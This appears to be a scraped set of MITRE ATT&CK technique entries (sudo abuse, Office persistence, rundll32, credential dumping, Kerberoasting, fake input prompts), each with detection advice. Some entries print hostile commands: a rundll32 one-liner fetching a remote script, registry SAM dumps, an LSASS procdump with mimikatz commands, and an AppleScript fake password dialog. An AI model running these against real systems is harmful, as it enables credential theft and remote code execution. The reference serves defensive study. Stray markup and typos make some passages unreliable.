The sudoers file, `<code>/etc/sudoers</code>`, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like `<code>user1 ALL=(ALL) NOPASSWD: ALL</code>` (Citation: OSX.Dok Malware).

Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.

Detection: On Linux, auditd can alert every time a user’s actual ID and effective ID are different (this is what happens when you sudo).

Platforms: Linux, macOS

Data Sources: File monitoring

Effective Permissions: root

Permissions Required: User

The tag is: misp-galaxy:mitre-enterprise-attack-attack-pattern="Sudo - T1169"

Office Application Startup - T1137

Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.

===Office Template Macros===

Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)

Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can inserted into
the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. (Citation: enigma0x3 normal.dotm) (Citation: Hexacorn Office Template Macros)

Word  
location:<code>C:\Users\(username)\AppData\Roaming\Microsoft\Templates\Normal.dotm</code>

Excel  
location:<code>C:\Users\(username)\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB</code>

An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.

===Office Test===

A Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)

<code>HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf</code>

===Add-ins===

Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)

Add-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins. (Citation: MRWLabs Office Persistence Add-ins)

Detection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.

Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins. (Citation: MRWLabs Office Persistence Add-ins)

Non-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could
indicate that the application was used maliciously.

**Rundll32 - T1085**

The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.

Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions `<code>Control_RunDLL</code>` and `<code>Control_RunDLLAsUser</code>`. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: `<code>ransdll32.exe javascript:\"\mshtml\RunHTMLApplication ";document.write();GetObject("script:https://www.example.com/malicious.sct")</code>` This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

Detection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and
loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.

Platforms: Windows

Data Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring

Defense Bypassed: Anti-virus, Application whitelisting

</tr>
</tbody>
</table>

**Network Sniffing - T1040**

Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.

User credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning, can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

Detection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.

Platforms: Linux, macOS, Windows

Data Sources: Network device logs, Host network interface, Netflow/Enclave netflow
Permissions Required: Administrator, SYSTEM

System Requirements: Network interface access and packet capture driver

Port Monitors - T1013

A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in `<code>C:\Windows\System32</code>` and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to `<code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>`. The Registry key contains entries for the following: *Local Port *Standard TCP/IP Port *USB Monitor *WSD Port

Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.

Detection: * Monitor process API calls to (Citation: AddMonitor). * Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. * New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. * Monitor Registry writes to `<code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>`. * Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)

Platforms: Windows

Data Sources: File monitoring, API monitoring, DLL monitoring, Windows Registry, Process monitoring

Browser Extensions - T1176

Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser’s app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)

Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).

Detection: Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.

Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.

Platforms: Linux, macOS, Windows

Data Sources: Network protocol analysis, Packet capture, System calls, Process use of network, Process monitoring, Browser extensions

Permissions Required: User

Hardware Additions - T1200

Computer accessories, computers or networking hardware may be introduced into a system as a vector to gain execution. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the-middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.

Detection: Asset management systems may help with the detection of computer systems or network devices that should not exist on a network.

Endpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.

Platforms: Linux, Windows, macOS

Data Sources: Asset Management, Data loss prevention

The tag is: misp-galaxy:mitre-enterprise-attack-attack-pattern="Hardware Additions - T1200"

Software Packing - T1045

Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.

Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.

Detection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.

Platforms: Windows

Data Sources: Binary file metadata

Defense Bypassed: Anti-virus, Signature-based detection, Heuristic detection

The tag is: misp-galaxy:mitre-enterprise-attack-attack-pattern="Software Packing - T1045"

Application Window Discovery - T1010

Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.

In Mac, this can be done natively with a small AppleScript script.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: macOS, Windows

Data Sources: API monitoring, Process command-line parameters, Process monitoring
Kerberoasting - T1208

Service principle names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015)

Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)

This same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts. (Citation: SANS Attacking Kerberos Nov 2014)

Detection: Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]). (Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)

Platforms: Windows

Data Sources: Windows event logs

Permissions Required: User

System Requirements: Valid domain account or the ability to sniff traffic within a domain.

Multi-hop Proxy - T1188

To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.

Detection: When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as Tor) or known adversary infrastructure that uses this technique.

Platforms: Linux, macOS, Windows

Data Sources: Network protocol analysis, Netflow/Enclave netflow

Requires Network: Yes

The tag is: `misp-galaxy:mitre-enterprise-attack-attack-pattern="Multi-hop Proxy - T1188"`

Hypervisor - T1062

A type-1 hypervisor is a software layer that sits between the guest operating systems and system’s hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with Rootkit
functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.

Detection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)

Platforms: Windows

Data Sources: System calls

Permissions Required: Administrator, SYSTEM

The tag is: misp-galaxy:mitre-enterprise-attack-attack-pattern="Hypervisor - T1062"

**Credential Dumping - T1003**

Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.

Several of the tools mentioned in this technique may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.

---SAM (Security Accounts Manager)=---

The SAM is a database file that contains local accounts for the host, typically those found with the ‘net user’ command. To enumerate the SAM database, system level access is required. A number of tools can be used to retrieve the SAM file through in-memory techniques: * pwdumpx.exe * gsecdump * Mimikatz * secretsdump.py

Alternatively, the SAM can be extracted from the Registry with Reg: * <code>reg save HKLM\sam sam</code> * <code>reg save HKLM\system system</code>

Creddump7 can then be used to process the SAM database locally to retrieve hashes. (Citation: GitHub Creddump7)

Notes: Rid 500 account is the local, in-built administrator. Rid 501 is the guest account. User accounts start with a RID of 1,000+.
===Cached Credentials===

The DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable. The number of default cached credentials varies, and this number can be altered per system. This hash does not allow pass-the-hash style attacks. A number of tools can be used to retrieve the SAM file through in-memory techniques. * pwdumpx.exe * gsecdump * Mimikatz

Alternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.

Notes: Cached credentials for Windows Vista are derived using PBKDF2.

===Local Security Authority (LSA) Secrets===

With SYSTEM access to a host, the LSA secrets often allows trivial access from a local account to domain-based account credentials. The Registry is used to store the LSA secrets. When services are run under the context of local or domain users, their passwords are stored in the Registry. If auto-logon is enabled, this information will be stored in the Registry as well. A number of tools can be used to retrieve the SAM file through in-memory techniques. * pwdumpx.exe * gsecdump * Mimikatz * secretsdump.py

Alternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.

Notes: The passwords extracted by his mechanism are UTF-16 encoded, which means that they are returned in plaintext. Windows 10 adds protections for LSA Secrets described in Mitigation.

===NTDS from Domain Controller===

Active Directory stores information about members of the domain including devices and users to verify credentials and define access rights. The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\NTDS\Ntds.dit of a domain controller. (Citation: Wikipedia Active Directory)

The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes. * Volume Shadow Copy * secretsdump.py * Using the in-built Windows tool, ntdsutil.exe * Invoke-NinjaCopy

===Group Policy Preference (GPP) Files===

Group Policy Preferences (GPP) are tools that allowed administrators to create domain policies with embedded credentials. These policies, amongst other things, allow administrators to set local accounts. These group policies are stored in SYSVOL on a domain controller, this means that any domain user can view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft GPP Key) (Citation: SRD GPP) The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files: * Metasploit's post exploitation module: "post/windows/gather/credentials/gpp" * Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword) * gpprefdecrypt.py Notes: On the SYSVOL share, the following can be used to enumerate potential XML files. dir /s *.*
Service Principle Names (SPNs)

See Kerberoasting.

Plaintext Credentials

After a user logs on to a system, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service (LSASS) process in memory. These credentials can be harvested by a administrative user or SYSTEM. SSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs): A Security Support Provider is a dynamic-link library (DLL) that makes one or more security packages available to applications.

The following SSPs can be used to access credentials: Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package. Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later. CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services. The following tools can be used to enumerate credentials: * Windows Credential Editor * Mimikatz As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system. For example, on the target host use procdump: * <code>procdump -ma lsass.exe lsass_dump</code> Locally, mimikatz can be run: * <code>sekurlsa::Minidump lsassdump.dmp</code> * <code>sekurlsa::logonPasswords</code>

DCSync

DCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's application programming interface (API) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in Account Manipulation. (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the "lsadump" module in Mimikatz. (Citation: GitHub Mimikatz Isadump Module) lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)

Detection: Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective Process Injection to reduce potential indicators of malicious activity.

Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse...
to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well.

On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.

Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit’s Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.

Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)

Deobfuscate/Decode Files or Information - T1140

Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.

One such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)

Another example is using the Windows `<code>copy /b</code>` command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with Obfuscated Files or Information during Initial Access or later to mitigate detection. Sometimes a user’s action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.

Detection: Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as certutil.

Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.

**Time Providers - T1209**

The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)

Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)

Adversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)

Detection: Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each
may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)

The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)

</tbody>
</table>

**HISTCONTROL - T1148**

The `<code>HISTCONTROL</code>` environment variable keeps track of what should be saved by the `<code>history</code>` command and eventually into the `<code>~/.bash_history</code>` file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". `<code>HISTCONTROL</code>` can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ls” will not be saved, but “ls” would be saved by history. `<code>HISTCONTROL</code>` does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.

Detection: Correlating a user session with a distinct lack of new commands in their `<code>.bash_history</code>` can be a clue to suspicious behavior. Additionally, users checking or changing their `<code>HISTCONTROL</code>` environment variable is also suspicious.

Platforms: Linux, macOS

Data Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable

Defense Bypassed: Log analysis, Host forensic analysis
The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID)-History Attribute, allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

Adversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, Windows Admin Shares, or Windows Remote Management.

Detection: Examine data in user's SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)

Monitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)

Monitor Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)

Platforms: Windows

Data Sources: API monitoring, Authentication logs, Windows event logs

Permissions Required: Administrator, SYSTEM

Contributors: Vincent Le Toux

The tag is: misp-galaxy:mitre-enterprise-attack-attack-pattern="SID-History Injection - T1178"
Web Service - T1102

Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.

These commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

Detection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Data Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection

Defense Bypassed: Binary Analysis, Log analysis, Firewall

Permissions Required: User

Requires Network: Yes

Query Registry - T1012

Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.

The Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

Interaction with the Windows Registry may come from the command line using utilities such as Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Windows

Data Sources: Windows Registry, Process monitoring, Process command-line parameters

Permissions Required: User, Administrator, SYSTEM

The tag is: misp-galaxy:mitre-enterprise-attack-attack-pattern="Query Registry - T1012"

Third-party Software - T1072

Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.

Adversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment...
system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.

Detection: Detection methods will vary depending on the type of third-party software or system and how it is typically used.

The same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems.

Often these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.

Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.

**Remote File Copy - T1105**

Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with Windows Admin Shares or Remote Desktop Protocol.

Detection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.

Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

**File System Logical Offsets - T1006**

Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)

Utilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)

Detection: Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)

Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through PowerShell, additional logging of PowerShell scripts is recommended.

Platforms: Windows
Data Sources: API monitoring

Defense Bypassed: File monitoring, File system access controls

**Input Prompt - T1141**

When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript:

<code>set thePassword to the text returned of (display dialog "AdobeUpdater needs permission to check for updates. Please authenticate." default answer "")</code> (Citation: OSX Keydnap malware)

Adversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware Exploits MacKeeper)

Detection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials.

Platforms: macOS

Data Sources: User interface, Process Monitoring

Permissions Required: User

Shared Webroot - T1051

Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.

